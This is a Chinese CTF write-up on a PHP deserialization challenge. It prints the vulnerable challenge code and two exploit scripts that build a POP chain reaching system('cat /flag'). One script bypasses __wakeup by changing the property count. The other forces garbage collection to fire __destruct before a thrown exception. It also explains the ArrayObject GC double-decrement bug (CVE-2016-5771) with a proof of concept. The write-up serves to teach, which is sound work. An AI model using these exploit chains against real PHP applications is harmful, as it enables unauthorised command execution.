题目源码
来源于浙江省赛的一道题目
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
system("cat /flag");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
public $a;
public function __get($p){//用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
比较简单的反序列化,我都能看懂要干什么。。。
简单来说在类Fun中call_user_func函数调用getFlag,所以只需调用Fun里的__call
,而Fun中不存在的方法即可。可以看到类A中__get
方法中含有调用方法的语句。调用私有属性以及不存在的属性触发__get
方法。这里借助类B即可达到。
call_user_func
函数,第一个参数是函数名,后面的参数是此函数的参数。若调用的函数在类里,那么这个参数要用数组形式传递,第一个元素为类名,第二个元素为函数名。绕过__wakeup
修改属性个数即可,可能包含不可见字符,要编码。
EXP:
<?php
class Fun{
private $func;
public function __construct(){
$this->func = "Test::getFlag";
}
}
class Test{
public function getFlag(){
}
}
class A{
public $a;
}
class B{
public $p;
}
$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);
垃圾回收机制
在预期解中我们的pop链是class B -> class A::__get -> class Fun::__call -> class Test::getFlag
,可是B里的__destruct()
没有主动触发。
__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行
显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉
在常规思路中destruct是隐式销毁触发的,那能不能利用显式销毁呢?
旧版本GC
在PHP5.3版本之前,垃圾回收机制采用的是简单的计数规则,没有专门的垃圾回收器的,只是简单的判断了一下变量的zval的refcount是否为0,是的话就释放否则不释放直至进程结束。
- 给每一个内存对象都分配一个计数器,当内存对象被变量引用时,计数器加一
- 当每个变量引用unset后,计数器减一
- 当计数器为0时,表明内存对象没有被使用,该内存对象进行销毁,垃圾回收
但是,如果内存对象本身被自己引用,就会出现一个问题:自己占一个,被引用后计数器再加一。引用撤掉后,计数器减一,只有计数器归零才能回收,但此时计数器是1,因此产生了内存泄漏。
新版本GC - zval结构体
zval ("Zend Value" 的缩写) 代表任意 PHP 值。所以它可能是所有 PHP 中最重要的结构,并且在使用 PHP 的时候,它也在进行大量工作。
refcount:多少个变量是一样的用了相同的值,这个数值就是多少。
is_ref:bool类型,当refcount大于2的时候,其中一个变量用了地址&的形式进行赋值,好了,它就变成1了。
举个例子:
<?php
$name = "111";
xdebug_debug_zval('name');
//(refcount=1, is_ref=0)string '111' (length=3)
增加一个数:
<?php
$name = "111";
$temp_name = $name;
xdebug_debug_zval('name');
//(refcount=2, is_ref=0)string '111' (length=3)
引用赋值:
<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
//(refcount=2, is_ref=1)string '111' (length=3)
主动销毁变量:
<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
unset($temp_name);
xdebug_debug_zval('name');
//name:
//(refcount=2, is_ref=1)string '111' (length=3)
//name:
//(refcount=1, is_ref=1)string '111' (length=3)
refcount计数减1,说明unset并非一定会释放内存,当有两个变量指向的时候,并非会释放变量占用的内存,只是refcount减1.
触发垃圾回收
该算法的实现可以在Zend/zend_gc.c
( https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )中找到。每当zval被销毁时(例如:在该zval上调用unset时),垃圾回收算法会检查其是否为数组或对象。除了数组和对象外,所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root
函数来实现。任何这种潜在的zval都被称为根(Root),并会被添加到一个名为gc_root_buffer
的列表中。
然后,将会重复上述步骤,直至满足下述条件之一:
gc_collect_cycles()
被手动调用( http://php.net/manual/de/function.gc-collect-cycles.php );- 垃圾存储空间将满。这也就意味着,在根缓冲区的位置已经存储了10000个zval,并且即将添加新的根。这里的10000是由
Zend/zend_gc.c
( https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )头部中GC_ROOT_BUFFER_MAX_ENTRIES
所定义的默认限制。当出现第10001个zval时,将会再次调用gc_zval_possible_root
,这时将会再次执行对gc_collect_cycles
的调用以处理并刷新当前缓冲区,从而可以再次存储新的元素。
由于现实环境的种种限制,手动调用gc_collect_cycles()
并不现实。也就是说,我们要强行触发gc,要靠填满垃圾存储空间
反序列化
要知道,反序列化过程允许一遍又一遍地传递相同的索引,所以不断会填充内存空间。一旦重新使用数组索引,旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update
,它将调用旧元素的析构函数(Destructor)。每当zval被销毁时,都会涉及到垃圾回收。这也就意味着,所有创建的数组都会开始填充垃圾缓冲区,直至超出其空间导致对gc_collect_cycles
的调用。
反序列化过程会跟踪所有未序列化的元素,以允许设置引用,因此反序列化期间所有元素的引用计数器值都大于完成后的值。而全部条目都存储在列表var_hash
中,一旦反序列化过程即将完成,就会破坏函数var_destroy
中的条目,所以针对每个在特定元素上的附加引用,我们必须让引用计数增加2,超出其内存空间,调用gc_collect_cycles
ArrayObject
// POC of the ArrayObject GC vulnerability
<?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
// Result:
// string(4) "bbbb"
我们通常的期望是输出如下:
array(1) { // outer_array
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
array(2) { // inner_array
[1]=>
// Reference to inner_array
[2]=>
// Reference to outer_array
}
}
}
但实际上,一旦该示例执行,外部数组(由$outer_array
引用)将会被释放,并且zval将会被$filter2
的zval覆盖,导致没有输出"bbbb"。
ArrayObject的反序列化函数接受对另一个数组的引用,以用于初始化的目的。这也就意味着,一旦我们对一个ArrayObject进行反序列化后,就可以引用任何之前已经被反序列化过的数组。此外,这还将允许我们将整个哈希表中的所有条目递减两次。
1、得到一个应被释放的目标zval X;
2、创建一个数组Y,其中包含几处对zval X的引用:array(ref_to_X, ref_to_X, […], ref_to_X)
;
3、创建一个ArrayObject,它将使用数组Y的内容进行初始化,因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤,我们可以操纵标记算法,对数组Y中的所有引用实现两次访问。但是,在反序列化过程中创建引用将会导致引用计数器增加2,所以还要找到解决方案:
4、使用与步骤3相同的方法,额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject,它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减,可以将该方法用于对任意目标zval的引用计数器实现清零。
举个例子
<?php
highlight_file(__FILE__);
$flag ="flag{".md5(time)."}";
class B {
function __destruct() {
echo "successful\n";
echo $flag;
}
}
unserialize($_GET[1]);
throw new Exception('中途退出啦');
我们假如要执行__destruct方法,打印flag,就得绕过这个throw new Exception
。因为 __destruct
方法是在该对象被回收时调用,而 exception
会中断该进程对该对象的销毁。所以我们需要强制让php的GC(垃圾回收机制)去进行该对象的回收。
核心思想:反序列化一个数组,然后再利用第一个索引,来触发GC
简单来说,就是:
$a=array();
$a[0]=new B();
$a[1]=new B();
.....
$b = unserialize($a);
EXP:
class B{
function __construct(){
echo "AndyNoel";
}
}
echo serialize(array(new B, new B));
//a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}
这样就能成功执行魔术方法了。
通俗易懂吧,那么让我们回到最开始的题目,怎么利用PHP垃圾回收机制呢?
EXP:
<?php
class B{
public $p;
public function __construct(){
$this->a = new A();
}
}
class A{
public $a;
public function __construct(){
$this->a = new Fun();
}
}
class Fun{
private $func = 'call_user_func_array';
public function __construct()
{
$this->func ="Test::getFlag";
}
}
$c = array(new B, new B);
$a = serialize($c);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$a));
一样的原理,也是通过添加第一个索引达到触发GC的效果。
造成该漏洞的主要原因是ArrayObject缺少垃圾回收函数。该漏洞称为“双递减漏洞”,漏洞报告如下(CVE-2016-5771): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5771 。
参考链接:https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/